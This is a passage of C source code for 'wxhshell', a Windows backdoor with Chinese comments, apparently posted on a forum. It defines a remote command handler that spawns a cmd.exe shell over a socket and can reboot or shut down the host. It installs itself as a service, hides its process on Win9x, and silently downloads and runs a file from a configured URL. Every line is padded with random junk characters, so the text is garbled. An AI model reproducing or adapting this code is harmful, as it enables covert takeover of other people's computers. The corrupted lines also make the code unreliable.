    switch(cmd[0]) { $3>|R lxYA  
  Go4l#6  
  // 帮助 "TPMSx&Ei  
  case '?': { o%:eYl  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g:HIiGN0Ic  
    break; 2sngi@\  
  } P+[R0QS  
  // 安装 RW 5T}  
  case 'i': { a^BD55d?  
    if(Install()) T~la,>p|}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c}A^0,"z>  
    else TO<g@u]*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VuGSP]$q  
    break; YpJzRm{Ra  
    } Hogr#Sn2  
  // 卸载 < javZJ  
  case 'r': { Y3?kj@T`i  
    if(Uninstall()) %Xn)$Ti ~<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N}\i!YUD  
    else NJ.kT uk  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =$MV3]  
    break; /9sUp} *  
    } m35G;  
  // 显示 wxhshell 所在路径 ZP1EO Z  
  case 'p': { V%))%?3x_  
    char svExeFile[MAX_PATH]; @ B+];lr/-  
    strcpy(svExeFile,"\n\r"); rVLA"x 9u  
      strcat(svExeFile,ExeFile); E)Dik`Ccl  
        send(wsh,svExeFile,strlen(svExeFile),0);  m{~r6@  
    break; YV+e];s  
    } B6BOy~B0  
  // 重启 QFMS]  
  case 'b': { b+kb7  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); X:YxsZQ 5Y  
    if(Boot(REBOOT)) Z=#!FZ{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "QMHY\C  
    else { ^VA)vLj@  
    closesocket(wsh); _QQO&0Z  
    ExitThread(0); =&vV$UtV  
    } YPN|qn(  
    break; 4WLB,<b}  
    } /SyiJCx0  
  // 关机 s;bqUY?LD  
  case 'd': {  BzDS  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); T6tJwSS4:  
    if(Boot(SHUTDOWN)) bcQ$S;U)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K~uoZ~_gA  
    else { *Nv<,Br,F  
    closesocket(wsh); Xh ?{%?2  
    ExitThread(0); T+I|2HYqOj  
    } \!_ >ul  
    break; MD%86m{Sg=  
    } NS\'o )J  
  // 获取shell >d =k-d  
  case 's': { !+i  
    CmdShell(wsh); {9(N?\S1`a  
    closesocket(wsh); o^Ms(?K%t  
    ExitThread(0); 44!bwXz8  
    break; E]bjI$j  
  } 8$1<N  
  // 退出 ]1X];x&e  
  case 'x': { V4|pZ]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); oC[$PPqX#  
    CloseIt(wsh); 'Ic$p>  
    break; 'C(YUlT2?P  
    } X4jtti  
  // 离开 #U^@)g6  
  case 'q': { Rt+s\MC^r  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <=WQs2  
    closesocket(wsh); )AnX[:y  
    WSACleanup(); F*QGzbv)  
    exit(1); Y #KgaZ7N  
    break; i),W1<A1  
        } "/K44(^  
  } zT.qNtU%  
  } U`xjau+  
>XB Lm`a  
  // 提示信息 [-Dx)N  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &P rx=L`  
} Nx~8]h1(  
  } y:xZ(RgfF  
}yUZ(k#  
  return; 8!1vsEqv  
} nT:ZSJWM  
O0e6I&u :  
// shell模块句柄 <`BUk< uf#  
int CmdShell(SOCKET sock) h&&ufF]D  
{ TwY]c<t  
STARTUPINFO si; 4~D?F'o  
ZeroMemory(&si,sizeof(si)); d&F8nBIM5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~i(X{ ^,3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~qs 97'  
PROCESS_INFORMATION ProcessInfo; TC'tui  
char cmdline[]="cmd"; Q 1g@FsW&U  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); M*|x,K=U  
  return 0; WJ8i,7  
} VGkwrS;+I  
i&RPY bT{  
// 自身启动模式 K^EW*6vB8O  
int StartFromService(void) Ao(Xz$cQfW  
{ YHl6M&*@  
typedef struct IF<pT)  
{ awGI|d  
  DWORD ExitStatus; (z\@T`6`  
  DWORD PebBaseAddress; %+qD-{&  
  DWORD AffinityMask; "d9"Md0k  
  DWORD BasePriority; h>9GfF3  
  ULONG UniqueProcessId; }5\F<b^@Y  
  ULONG InheritedFromUniqueProcessId; (z#qkKL{^  
}   PROCESS_BASIC_INFORMATION; y^?7de}  
Z%k)'%_   
PROCNTQSIP NtQueryInformationProcess; p1q"[)WVn^  
Bi9 S1 p  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,..&j+m  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; a?_N8|k[  
6|L<? X  
  HANDLE             hProcess; `J#(ffo-  
  PROCESS_BASIC_INFORMATION pbi; DR;rK[f  
NZ7g}+GTG  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); m\RU |Z  
  if(NULL == hInst ) return 0; s7[du_)  
GG-7YJ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `;L>[\Xi  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); JdF;*`_7*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ycTX\.KV  
> X<pzD3u  
  if (!NtQueryInformationProcess) return 0; rLtB^?A z  
wknX\,`Q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); S{&,I2aO  
  if(!hProcess) return 0; `{#0C-  
zuwlVn  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; F|Pf-.r`t  
)%I2#Q"Nt-  
  CloseHandle(hProcess); [LbUlNq^B@  
|wZcVct~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Kf/1;:^  
if(hProcess==NULL) return 0; FWNWOU  
07`hQn)Gc  
HMODULE hMod; &Ba` 3V\M  
char procName[255]; f%<kcM2  
unsigned long cbNeeded; PRg^E4  
&'Pwz  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2r4owB?  
h\k@7wgu  
  CloseHandle(hProcess); c 2t<WRG  
TCWy^8LA  
if(strstr(procName,"services")) return 1; // 以服务启动 F jsnFX;  
tJ;<=.n  
  return 0; // 注册表启动 WBvh<wTw;  
} yPs4S?<s  
CY"&@v1  
// 主模块 *mwHuGbZed  
int StartWxhshell(LPSTR lpCmdLine) lV<2+Is  
{ LQ(z~M0B  
  SOCKET wsl; 9%T~^V%T7  
BOOL val=TRUE; }coSMTMv6  
  int port=0; fyaiRn9/  
  struct sockaddr_in door; /%fBkA#n  
<pyLWmO  
  if(wscfg.ws_autoins) Install(); ~$cz`A  
B >2"O  
port=atoi(lpCmdLine); dY[ XNP  
2[-@ .gH  
if(port<=0) port=wscfg.ws_port; : .Y  
iZm# "}VG  
  WSADATA data; 4LO4SYW7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; YW9r'{(D(I  
B8_)I.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0N9`WK  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); t+y$i@R:  
  door.sin_family = AF_INET; HGIPz{/5U  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); {S[+hUl  
  door.sin_port = htons(port); !D#wSeJ  
q=Xda0c  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 742 sqHx  
closesocket(wsl); a_}k^zw(  
return 1; =)QtE|p,77  
} ;J [ed>v;3  
/q[5-96c  
  if(listen(wsl,2) == INVALID_SOCKET) { <j\osw1R  
closesocket(wsl); max 5s$@  
return 1; 3>vSKh1z  
} {P/ sxh:e  
  Wxhshell(wsl); V;}kgWc1  
  WSACleanup(); V}=%/OY?  
*WTmS2?'h  
return 0; *XN|ZGl/  
[ =/Yo1:v  
} /L|$* Xj  
_%M+!Ltz  
// 以NT服务方式启动 6WI-ZEVp&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^<u9I5?  
{ p>x[:*  
DWORD   status = 0; (h&XtFul}  
  DWORD   specificError = 0xfffffff; #WE"nh9f|z  
8d4:8}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ct o+W}k  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; e8E*Urtz  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;zq3>A  
  serviceStatus.dwWin32ExitCode     = 0; fyHFfPEE  
  serviceStatus.dwServiceSpecificExitCode = 0; }enS'Fpf`  
  serviceStatus.dwCheckPoint       = 0; R;yi58Be  
  serviceStatus.dwWaitHint       = 0; B8=r^!jEL  
xbUL./uj  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5l_ >QB  
  if (hServiceStatusHandle==0) return; 4S9hz  
8&K1;l }  
status = GetLastError(); ahJ -T@  
  if (status!=NO_ERROR) TTGk"2 Q'  
{ "Sx}7?8AB  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; y&A0}>a:d  
    serviceStatus.dwCheckPoint       = 0; oY NIJXln  
    serviceStatus.dwWaitHint       = 0; }253Q!f  
    serviceStatus.dwWin32ExitCode     = status; xvpCOoGsz  
    serviceStatus.dwServiceSpecificExitCode = specificError; PeU>h2t  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %5[,U)X"  
    return; =@ SJyW  
  } 8)KA {gN}  
BIJlU(aF  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $nf5bo/;  
  serviceStatus.dwCheckPoint       = 0; g#W/WKvM  
  serviceStatus.dwWaitHint       = 0; XEX ."y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (v/mKGyg  
} &Hl*Eg f  
3P}^Wu  
// 处理NT服务事件,比如:启动、停止 N*mm[F2+F  
VOID WINAPI NTServiceHandler(DWORD fdwControl) O4c[,Uq8~  
{ fC4#b?Q  
switch(fdwControl) .@5Ro D[o  
{ \+9~\eeXb  
case SERVICE_CONTROL_STOP: Ire+r "am  
  serviceStatus.dwWin32ExitCode = 0; 6x]x>:8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; An.Qi=Cv  
  serviceStatus.dwCheckPoint   = 0; 6_rgj{L  
  serviceStatus.dwWaitHint     = 0; cu |S|]g  
  { EdH;P \c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xY_<D+ OV  
  } $4Vpl  
  return; 4hQ.RO  
case SERVICE_CONTROL_PAUSE: \N|ma P  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; # .j[iN :+  
  break; JXhHitUD  
case SERVICE_CONTROL_CONTINUE: (7zdbJX  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; K-<kp!v  
  break; ^Fop/\E  
case SERVICE_CONTROL_INTERROGATE: GS*Mv{JJ  
  break; ,)svSzR  
}; ezz;NH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b'5]o  
} dRhsnT+KX  
j]6c_r3  
// 标准应用程序主函数 178u4$# b  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :6T 8\W  
{ AcoU.tpP  
iHYvH   
// 获取操作系统版本 |Q|vCWel{  
OsIsNt=GetOsVer(); h=x{ 3P;B  
GetModuleFileName(NULL,ExeFile,MAX_PATH); X:/Y^Xu  
6he (v  
  // 从命令行安装 L/+KY_b:*  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;)c 4  
I k[{,p  
  // 下载执行文件 RJ63"F $  
if(wscfg.ws_downexe) { [(81-j1v  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) gK%^}xU+  
  WinExec(wscfg.ws_filenam,SW_HIDE); H)@f_pfj(  
} qX_( M2oLU  
<H]1 6  
if(!OsIsNt) { +G.F'  
// 如果时win9x,隐藏进程并且设置为注册表启动 kv8 /UW  
HideProc(); jI%g!  
StartWxhshell(lpCmdLine); Q($.s=&l;  
} Qzh`x-S  
else ;ND)h pD+  
  if(StartFromService()) w(6(Fze  
  // 以服务方式启动 )=9EShz!  
  StartServiceCtrlDispatcher(DispatchTable); zZh\e,*  
else .ou#BWav/  
  // 普通方式启动 +\D?H.P  
  StartWxhshell(lpCmdLine); "Vw;y+F}  
WU:r:m+ >  
return 0; VNggDKS~K  
}
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只看该作者 1 发表于: 2006-10-10
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